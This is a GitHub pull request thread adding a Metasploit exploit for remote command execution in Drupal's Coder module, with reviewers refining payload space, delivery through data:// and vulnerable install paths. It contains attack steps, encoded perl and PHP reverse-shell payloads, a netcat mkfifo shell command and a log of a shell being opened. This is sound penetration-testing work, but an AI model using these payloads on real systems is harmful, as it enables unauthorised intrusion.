Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Drupal CODER Remote Command Execution Module #7115

Merged
merged 7 commits into from Aug 15, 2016

Conversation

mdisec
Copy link
Contributor

@mdisec mdisec commented Jul 21, 2016

This module exploits CODER module for Drupal 7.x . Patch was released several days ago by Drupal Security Team.

Limitation I've seen During Exploitation

1-) Our payload will be passed through too many different PHP functions, such as mkdir() etc. Thus, payload can't be bigger than 250+ char. Otherwise, mkdir() will throw warning! and execution will be terminated before reaching coder_upgrade_make_patch_file() function where we actually exploits the app.

2-) We can't use \x00 and \x2f in our payload because first one is null byte and second one is path delimiter which cause troubles for mkdir() or copy() functions.

3-) We need to start bogus web server and it must be accessible by our target so we can delivery our payload -serialized PHP array-. I tried to make this clear with custom SRVHOST and SRVPORT messages because of people are usually use 0.0.0.0 . Please share if you want to know better way to make it easier for user.

I've tried to obey coding standart and stuff what I've learn during #7108 . I would like to hear your suggestions & comments to make this module better. Please feel free to say anything you want 馃憤

Installation

Since Kali has upgraded their PHP version to 7.0, this might be trouble for Drupal 7.0 . So my suggestion is use PHP 5.x

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/unix/webapp/drupal_coder_exec
  • set RHOST 10.0.0.159
  • `set TARGETURI /drupal/
  • check
  • Verify the [+] 10.0.0.159:80 The target is vulnerable message in console.
  • set SRVHOST 10.0.0.1and set SRVPORT 8081 . This variables are going to used for bogus web server for payload delivery. So they must be reachable from target.
  • set payload cmd/unix/reverse_netcat
  • `exploit
  • Verify Meterpreter session X opened... prompted on your terminal.
  • Connect to the created session session -i X
  • Verify the id and pwd command output.

screen shot 2016-07-21 at 16 40 00

@mdisec mdisec changed the title Drupal coder exec Add Drupal CODER Remote Command Execution Module Jul 21, 2016
['URL', 'https://www.drupal.org/node/2765575']
],
'Privileged' => false,
'Payload' =>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If your payload can't be bigger than 250 chars, as you said, you should set a Space value.

'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat netcat-e'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why only netcat? Space limitations? Surely telnet would be OK too if that were the case.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My calculation was right but I made a typo on PR description. Max lenght is 240. @brandonprry Doesn't telnet payloads generate more than 250 byte even with smallest LHOST (10.0.0.1) address ? I can add them but I believe we will see No encoders encoded the buffer successfully. due to 'Space' => 240 limitation.

~ msfvenom -p cmd/unix/reverse LHOST=10.0.0.1 LPORT=4444 -b '\x00\x2f'
Payload size: 269 bytes
perl -e 'system(pack(qq,H232,,qq,7368202d63202728736c65657020343432307c74656c6e65742031302e302e302e3120343434347c7768696c65203a203b20646f20736820262620627265616b3b20646f6e6520323e26317c74656c6e65742031302e302e302e312034343434203e2f6465762f6e756c6c20323e263120262927,))'

reverse_ssl_double_telnet

~ msfvenom -p cmd/unix/reverse_ssl_double_telnet LHOST=10.0.0.1 LPORT=4444 -b '\x00\x2f'
Payload size: 281 bytes
perl -e 'system(pack(qq,H244,,qq,7368202d63202728736c65657020343336357c74656c6e6574202d7a2031302e302e302e3120343434347c7768696c65203a203b20646f20736820262620627265616b3b20646f6e6520323e26317c74656c6e6574202d7a2031302e302e302e312034343434203e2f6465762f6e756c6c20323e263120262927,))'

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Settled on IRC with DisableNops.

@wchen-r7
Copy link
Contributor

@wvu-r7 it looks like you're handling this PR? I'll assign it to you for now, but if you're not, please feel free to reassign. Thanks.

@wvu
Copy link
Contributor

wvu commented Jul 25, 2016

I'll take it, lol.

},
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a way you can convert this to ARCH_PHP, since you're using serialized code below? Otherwise, you should be able to use php -r.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've tried that... This vulnerability seems object injection but we are using serialized object just for initialize specially crafted php array which exploits command execution flaw. We can still use php -r 'PAYOAD' for meterpreter but payload will be around 1200 byte which is out of our payload space.

~msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00\x2f"
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1283 (iteration=0)
php/base64 chosen with final size 1283
Payload size: 1283 bytes
eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEyNy4wLjAuMSc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBlbHNlaWYgKCgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGVsc2VpZiAoKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGVsc2UgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygiTmxlbiIsICRsZW4pOyAkbGVu.ID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBldmFsKCRiKTsgZGllKCk7));

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Solid explanation. Thanks!

@zeknox
Copy link
Contributor

zeknox commented Jul 25, 2016

I ran the check() method and it throws the following output:

msf exploit(drupal_coder_exec) > check
[-] {peer} - Check failed: The following options failed to validate: SRVHOST, SRVPORT.

I understand that these are required attributes to run the exploit, but based on the code they should not be required to perform the check. Or am I wrong there?

Perhaps this is expected behavior, but it seems it would be easier to run the check if these attributes are not required.

@brandonprry
Copy link
Contributor

brandonprry commented Jul 25, 2016

I think just setting the default SRVHOST to 0.0.0.0 or 127.0.0.2 (not 127.0.0.1!) and the SRVPORT to 8765 or something would work. They currently have no default values.

@mdisec
Copy link
Contributor Author

mdisec commented Jul 25, 2016

@zeknox You're totally right. We just need to check out existence of coder_upgrade.run.php file during check.

@brandonprry suggestion should work but I'm afraid people will also expect that exploit should work with default SRVHOST and SRVPORT but probably that's not gonna happen either. SRVHOST will be passed to the RHOST and target will get content from it. Thus, 127.0.0.2 or 0.0.0.0 won't be accessible from target.

I intentionally left those two variable empty by default so people may read description of SRVHOST and SRVPORT so they can use proper network interface.

@NickstaDB
Copy link
Contributor

The PHP function file_get_contents(), which reads the payload from your dummy HTTP server, also supports the data:// protocol (see http://php.net/manual/en/wrappers.data.php). It should be possible to exploit this without starting a dummy server by passing the payload in as a base64 encoded string using the data protocol, also improving the exploit reliability as it will no longer require an outbound connection from the target server to your dummy HTTP server.

Also the check function should look for the string "file parameter is not setNo path to parameter file" in the HTTP response and not just a 200 response. The patched version of the module still includes the vulnerable coder_upgrade.run.php script, but only the unpatched version responds with the above string if the file parameter is not present.

@mdisec
Copy link
Contributor Author

mdisec commented Jul 26, 2016

who better to review than the author himself! Thank you very much @NickstaDB for your feedbacks. Check() method failure is up to me, totally my mistake. Even I had review on patch for this issue, I just forgot to check response...

I've changed the exploitation way to data:// . It looks better now.

screen shot 2016-07-26 at 13 35 49

@NickstaDB
Copy link
Contributor

Another thought, the check and exploit methods won't always work because Drupal modules could be installed in other locations as follows:

  • [drupal-root]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
  • [drupal-root]/sites/all**/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php**
  • [drupal-root]/sites/default**/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php**

I've seen the module in all three locations, despite the first being against Drupal recommendations. Additionally there's a fourth location where Drupal modules can be installed if the Drupal instance is being used for multiple websites, however we need to know the name of the site directory which could be any valid directory name:

  • [drupal-root]/sites/[site-name]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php

In any case only the following part of the path to the vulnerable script is constant: "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php".

@mdisec
Copy link
Contributor Author

mdisec commented Jul 27, 2016

I tried to focus on recommended location during module development. We could check out all those 3 location during check() and exploit(). At least, we can cover top used locations. Beside, I don't know how we can detect custom locations... I really don't wanna go with directory fuzzer behavior :-)

@mdisec
Copy link
Contributor Author

mdisec commented Jul 28, 2016

We can change TARGETURI description and default value with following one.

OptString.new('TARGETURI', [true, 'The path of the CODER module installation', '/site/all'])

And we will remove sites/all/ prefix from all check() and exploit(). With these changes, we will let user to decide location of CODER module. So sites/allor sites/default or / as well as any kind of custom location can be used.

@mdisec
Copy link
Contributor Author

mdisec commented Aug 10, 2016

Ping @wvu-r7 . What we gonna do with this one ? Feel free to close the PR if we'r not gonna land this.

@wvu
Copy link
Contributor

wvu commented Aug 10, 2016

Was in Vegas for 11 days. Back now.

@wvu
Copy link
Contributor

wvu commented Aug 12, 2016

Didn't need to chmod. chown'd to www-data.

@wvu
Copy link
Contributor

wvu commented Aug 12, 2016

msf exploit(drupal_coder_exec) > run

[-] Exploit failed: No encoders encoded the buffer successfully.
[*] Exploit completed, but no session was created.
msf exploit(drupal_coder_exec) > 

Tight space restriction. The primary case is failure to encode, but sometimes you win:

msf exploit(drupal_coder_exec) > run

[*] Started reverse TCP handler on 192.168.33.1:4444 
perl -e 'system(pack(qq,H182,,qq,6d6b6669666f202f746d702f6a64756c3b206e63203139322e3136382e33332e31203434343420303c2f746d702f6a64756c207c202f62696e2f7368203e2f746d702f6a64756c20323e26313b20726d202f746d702f6a64756c20,))'
[*] Command shell session 1 opened (192.168.33.1:4444 -> 192.168.33.137:57804) at 2016-08-12 13:26:05 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux ubuntu 3.19.0-59-generic #66-Ubuntu SMP Thu May 12 22:35:27 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
^Z
Background session 1? [y/N]  y

msf exploit(drupal_coder_exec) > wc -c
[*] exec: wc -c

perl -e 'system(pack(qq,H182,,qq,6d6b6669666f202f746d702f6a64756c3b206e63203139322e3136382e33332e31203434343420303c2f746d702f6a64756c207c202f62696e2f7368203e2f746d702f6a64756c20323e26313b20726d202f746d702f6a64756c20,))'     219
msf exploit(drupal_coder_exec) > 

This is using the preferred Perl encoder.

Btw, nice call with data://, @NickstaDB. Totally didn't think about that here!

@wvu
Copy link
Contributor

wvu commented Aug 12, 2016

The failure to encode is probably due to the variable-length random string in the payload:

 50   #
 51   # Returns the command string to use for execution
 52   #
 53   def command_string
 54     backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
 55     "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
 56   end

@wvu wvu merged commit b4846e5 into rapid7:master Aug 15, 2016
wvu added a commit that referenced this pull request Aug 15, 2016
@wvu
Copy link
Contributor

wvu commented Aug 15, 2016

62d28f1

@wvu
Copy link
Contributor

wvu commented Aug 16, 2016

Release Notes

This PR adds an exploit for the Drupal Coder module. By passing in serialized PHP to an upgrade script, arbitrary command execution is achieved. Version 2.5 of the software is known to be vulnerable.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants